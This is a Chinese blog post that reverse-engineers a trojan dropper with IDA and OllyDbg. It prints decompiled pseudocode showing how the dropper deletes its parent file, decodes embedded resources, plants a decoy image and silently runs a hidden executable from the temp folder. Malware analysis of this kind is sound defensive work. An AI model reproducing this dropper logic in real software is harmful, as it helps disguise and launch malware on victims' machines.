逆向工程之恶意程序part2

来源:互联网 发布:app音乐制作软件 编辑:程序博客网 时间:2024/05/23 16:56

等了作者一个星期,没见他出Paper了,只好自己完成剩下的工作了...将sample.exe用LordPE修改一下入口点(0X401E1F)为EBFE,在用OllyDbg附加,然后再改回来。此处分析我主要采用IDA静态分析,适当结合OllyDbg动态跟踪。

整个函数:void __cdecl sub_401E1F(){ DWORD v0; // eax@2  inti; // esi@5 HMODULE v2; // esi@5  intv3; // esi@8  intv4; // esi@8  intv5; // kr00_4@12 HANDLE v6; // eax@13 struct _SHELLEXECUTEINFOW ExecInfo; // [sp+Ch] [bp-A8Ch]@18 DWORD NumberOfBytesWritten; // [sp+48h] [bp-A50h]@15 DWORD flOldProtect; // [sp+4Ch] [bp-A4Ch]@5 HMODULE v10; // [sp+50h] [bp-A48h]@5 SIZE_T dwSize; // [sp+54h] [bp-A44h]@5 DWORD nNumberOfBytesToWrite; // [sp+58h] [bp-A40h]@5 LPCVOID lpBuffer; // [sp+5Ch] [bp-A3Ch]@5 LPVOID lpAddress; // [sp+60h] [bp-A38h]@5  intv15; // [sp+64h] [bp-A34h]@1 HANDLE hObject; // [sp+68h] [bp-A30h]@5 char v17; // [sp+6Ch] [bp-A2Ch]@1 char v18; // [sp+274h] [bp-824h]@1 char Dst; // [sp+47Ch] [bp-61Ch]@1 const WCHAR Dest; // [sp+684h] [bp-414h]@1 const WCHAR v21[260]; // [sp+88Ch] [bp-20Ch]@1 unsigned int v22; // [sp+A94h] [bp-4h]@1  intv23; // [sp+A98h] [bp+0h]@1   v22= (unsigned int)&v23 ^ dword_404000; memset(&Dst, 0, 0x208u); memset((void *)v21, 0, 0x208u); memset((void *)&Dest, 0, 0x208u); memset(&v17, 0, 0x208u); memset(&v18, 0, 0x208u); WaitForSingleObject(hHandle, 0xFFFFFFFFu); //等待父进程结束 CloseHandle(hHandle);  v15= 1;  if( !DeleteFileW(&Filename) )  //删除父进程对应的EXE文件(上面的句柄和此处的路径都是父进程写入到子进程的)  {   v0 = GetFileAttributesW(&Filename);   if ( v0 != -1 )    {     if ( v0 & 5 )     {       SetFileAttributesW(&Filename, v0 & 0xFFFFFFFA);       v15 = DeleteFileW(&Filename);     }    }  }  v2= GetModuleHandleW(0); //获取本执行模块句柄  v10= v2;  lpAddress = (LPVOID)sub_40255A(v2,5, 1); //调用函数①找到两个资源的二进制起点  lpBuffer =(LPCVOID)sub_40255A(v2, 5, 2);  dwSize = sub_4025DF(v2, 5, 1);//资源大小nNumberOfBytesToWrite =sub_4025DF(v2, 5, 2); VirtualProtect(lpAddress, dwSize, 64u, &flOldProtect); //改变内存属性  sub_402662((unsigned int*)lpAddress, dwSize);//资源解码 VirtualProtect((LPVOID)lpBuffer, nNumberOfBytesToWrite, 0x40u,&flOldProtect); sub_402662((unsigned int *)lpBuffer, nNumberOfBytesToWrite); sub_4019B3(&Filename, 260, &hObject); //计算Filename的Unicode长度,并用hObject返回  for( i = 2 * (_DWORD)hObject +0x4048A0; *(_WORD*)i != 0x5c; i -= 2 ) //查找反斜杠    ;  v4= i + 2;   // i = VA of ‘\’ sub_4018D7(&v18, 260, v4); //将V4所指的字符串复制到v18  v3= v4 - 2; *(_WORD *)v3 = 0; sub_4018D7(&v17, 260, &Filename); *(_WORD *)v3 = 0x5c; while ( *(_WORD *)v3 != 0x2e && *(_WORD *)v3 )   v3 += 2; *(_WORD *)v3 = 0;  v5= *(_DWORD *)sub_40255A(v10, 5, 3); sub_401952((wchar_t *)&Dest, 260, L"%s.%s", (unsignedint)&Filename); //形成jpeg全路径 GetTempPathW(0x104u, (LPWSTR)&Dst); sub_401952((wchar_t *)v21, 260, L"%s\\%s", (unsignedint)&Dst); //temp_path\sample.exe  if( v15 )  {   v6 = CreateFileW(&Dest, 0x40000000u, 0,0, 2u, 0, 0); //创建sample.jpeg覆盖原来的sample.exe   hObject = v6;   if ( v6 == (HANDLE)-1 )    {     v15 = 1;    }   else    {     WriteFile(v6, lpBuffer, nNumberOfBytesToWrite,&NumberOfBytesWritten, 0);//写图片数据     FlushFileBuffers(hObject); //刷新缓冲区     CloseHandle(hObject);     v15 = 0;    }  } while ( 1 )  {   hObject = CreateFileW(v21, 0x40000000u, 0, 0, 2u, 0x80u, 0);//在临时文件夹里创建sample.exe   if ( hObject != (HANDLE)-1 )     break;   sub_401911(v21, 260, L".exe");  } WriteFile(hObject, lpAddress,dwSize, &NumberOfBytesWritten, 0); //写真正sample.EXE文件数据 FlushFileBuffers(hObject); CloseHandle(hObject); memset(&ExecInfo, 0, 0x3Cu); ExecInfo.lpFile = v21; ExecInfo.cbSize = 60; ExecInfo.fMask = 64; ExecInfo.lpVerb = L"open"; ExecInfo.nShow = 5; ShellExecuteExW(&ExecInfo); //执行真正的病毒  if( !v15 )   ShellExecuteW(0, L"open",&Dest, 0, 0, 5); //弹出图片 WaitForSingleObject(ExecInfo.hProcess, 0xFFFFFFFFu);//等待执行完毕 sub_401ACE((int)v21);}

 

这里面嵌套了几个函数,现在都贴出来:

函数①

int __stdcall sub_40255A(int hModule,unsigned int a2, unsigned int a3)

{

  intresult; // eax@1

  intResource_VA; // esi@2

  intv5; // eax@6

 

 result = *(_DWORD *)(hModule + *(_DWORD*)(hModule + 0x3C) + 0x88);//资源目录RVA

  if( result )

  {

   Resource_VA = result + hModule;

   if ( a2 <= 0xFFFF )

     result = sub_4024CF(result+ hModule, a2);// here调用函数②

   else

     result = sub_4024FF(result + hModule, a2, result + hModule);

   if ( result )

    {

     v5 = Resource_VA + (*(_DWORD *)(result + 4) & 0x7FFFFFFF);

     if ( a3 <= 0xFFFF )

       result = sub_4024CF(v5, a3);

     else

       result = sub_4024FF(v5, a3, Resource_VA);

     if ( result )

       result = hModule

               + *(_DWORD *)(*(_DWORD*)((*(_DWORD *)(result + 4) & 0x7FFFFFFF) + Resource_VA + 20) +Resource_VA);

    }

  }

 return result;

}

函数②:

int __stdcall sub_4024CF(int resource_VA,int a2)

{

  intresult; // eax@1

  intv3; // ecx@1

 

  v3= *(_WORD *)(resource_VA + 0xE); //   WORD   NumberOfIdEntries;

 result = resource_VA + 8 * *(_WORD *)(resource_VA + 0xC) + 0x10;//从资源基址起绕过各个NamedEntry

 while ( v3 )

  {

   if ( *(_DWORD *)result == a2 ) //查找等于指定值的资源

     return result;

   --v3;

   result += 8;// IMAGE_RESOURCE_DIRECTORY_ENTRY大小为8字节

  }

 return 0;

}

 

这里用到了资源目录结构:

// Resource directory consists of twocounts, following by a variable length

// array of directory entries. The first count isthe number of entries at

// beginning of the arraythat have actual names associated with each entry.

// The entries are in ascending order, caseinsensitive strings.  The second

// count is the number of entries thatimmediately follow the named entries.

// This secondcount identifies the number of entries that have 16-bit integer

// Ids as their name.  These entries are alsosorted in ascending order.

//

// This structure allows fast lookup by eithername or number, but for any

// given resource entry only one form oflookup is supported, not both.

// This is consistant with the syntax ofthe .RC file and the .RES file.

//

 

typedef struct _IMAGE_RESOURCE_DIRECTORY {

   DWORD   Characteristics;

    DWORD  TimeDateStamp;

   WORD    MajorVersion;

   WORD    MinorVersion;

   WORD   NumberOfNamedEntries; //名称入口的个数

   WORD    NumberOfIdEntries; //ID入口个数--此结构下还包函有的资源结构树,即:还有几个子树

// IMAGE_RESOURCE_DIRECTORY_ENTRY DirectoryEntries[];

} IMAGE_RESOURCE_DIRECTORY,*PIMAGE_RESOURCE_DIRECTORY;

 

00405000 00 00 00 00 00 00 00 00 04 00 00 0000 0003 00 .............

 


.

00405010 03 00 00 00 28 00 00 8005 00 00 00 88 0000 80 

 


...(..€...?.€

00405020 0E 00 00 00 B0 00 00 80 00 00 00 00 00 00 00 00 

 

/*

* Predefined Resource Types

*/

#define RT_CURSOR MAKEINTRESOURCE(1)

#define RT_BITMAP MAKEINTRESOURCE(2)

#define RT_ICON MAKEINTRESOURCE(3)

#define RT_MENU MAKEINTRESOURCE(4)

#define RT_DIALOGMAKEINTRESOURCE(5)

#define RT_STRING MAKEINTRESOURCE(6)

#define RT_FONTDIR MAKEINTRESOURCE(7)

#define RT_FONT MAKEINTRESOURCE(8)

#define RT_ACCELERATOR MAKEINTRESOURCE(9)

#define RT_RCDATA MAKEINTRESOURCE(10)

#define RT_MESSAGETABLE MAKEINTRESOURCE(11)

 

// Each directory contains the 32-bit Nameof the entry and an offset,

// relative to the beginning of theresource directory of the data associated

// with this directory entry.  If the name of the entry is an actual text

// string instead of an integer Id, thenthe high order bit of the name field

// is set to one and the low order 31-bitsare an offset, relative to the

// beginning of the resource directory ofthe string, which is of type

// IMAGE_RESOURCE_DIRECTORY_STRING.  Otherwise the high bit is clear and the

// low-order 16-bits are the integer Id thatidentify this resource directory

// entry. If the directory entry is yetanother resource directory (i.e. a

// subdirectory), then the high order bitof the offset field will be

// set to indicate this.  Otherwise the high bit is clear and theoffset

// field points to a resource data entry.

//

 

typedef struct_IMAGE_RESOURCE_DIRECTORY_ENTRY {

   union {

       struct {

           DWORD NameOffset:31;

           DWORD NameIsString:1;

       };

       DWORD   Name;

       WORD    Id;

   };

    union{

       DWORD   OffsetToData;

       struct {

           DWORD   OffsetToDirectory:31;

           DWORD   DataIsDirectory:1;

       };

   };

} IMAGE_RESOURCE_DIRECTORY_ENTRY,*PIMAGE_RESOURCE_DIRECTORY_ENTRY;

 

真正的sample.exe是一个带有假冒微软公司数字签名的可执行文件:

360扫描一下结果为:

木马 Trojan.Dropper.UFC

病毒说明

木马是一种伪装成正常文件的恶意软件,通常通过隐蔽的手段获得运行权限,然后盗窃用户的隐私信息,或进行其他恶意行为。

 

原创粉丝点击